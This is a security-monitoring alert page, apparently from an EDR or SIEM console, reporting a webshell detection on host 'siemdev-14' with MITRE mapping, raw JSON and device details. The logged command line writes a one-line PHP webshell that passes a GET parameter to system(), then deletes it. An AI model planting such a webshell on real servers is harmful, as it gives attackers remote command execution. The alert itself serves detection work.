Alert Information
High
- Alert ID
ind:021368f9220b45cdb2760a069897c1c8:1766234313801568992-30122-1269008- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234313801568992-30122-1269008- 설명
- A webshell has been detected on your host. It may provide adversaries a set of functions to execute or a command-line interface on the system. Please check the process tree to determine if malicious commands were executed or if this access was expected.
- 호스트
- siemdev-14
- 상태
- new
- 생성 시간
- 2025-12-20 21:39:36
- 업데이트 시간
- 2025-12-20 22:38:36
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- Web Shell
Command Line
bash -c echo "<?php system(\$_GET[c]);?>" > /tmp/s.php; rm /tmp/s.php
Raw JSON Data
{"id":"ind:021368f9220b45cdb2760a069897c1c8:1766234313801568992-30122-1269008","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234313801568992-30122-1269008","agent_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A webshell has been detected on your host. It may provide adversaries a set of functions to execute or a command-line interface on the system. Please check the process tree to determine if malicious commands were executed or if this access was expected.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"Web Shell","technique_id":"T1505.003","cmdline":"bash -c echo \u0022\u003C?php system(\\$_GET[c]);?\u003E\u0022 \u003E /tmp/s.php; rm /tmp/s.php","filename":"bash","filepath":"/usr/bin/bash","sha256":"a59fc4da19d169c175b247bfaf4a21c2ee7c16c3ed2820daa807ab12affe98fc","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:39:36.861344683Z","updated_timestamp":"2025-12-20T13:38:36.766740704Z","device":{"device_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"siemdev-14","local_ip":"172.17.0.1","external_ip":"211.198.135.5","mac_address":"16-bc-32-c0-b2-f4","platform_name":"Linux","os_version":"Rocky Linux 10.1"},"aggregate_id":"aggind:021368f9220b45cdb2760a069897c1c8:25792265482","CreatedAt":"2025-12-20T21:39:36.8613447+09:00","UpdatedAt":"2025-12-20T22:38:36.7667407+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
021368f9220b45cdb2760a069897c1c8
Actions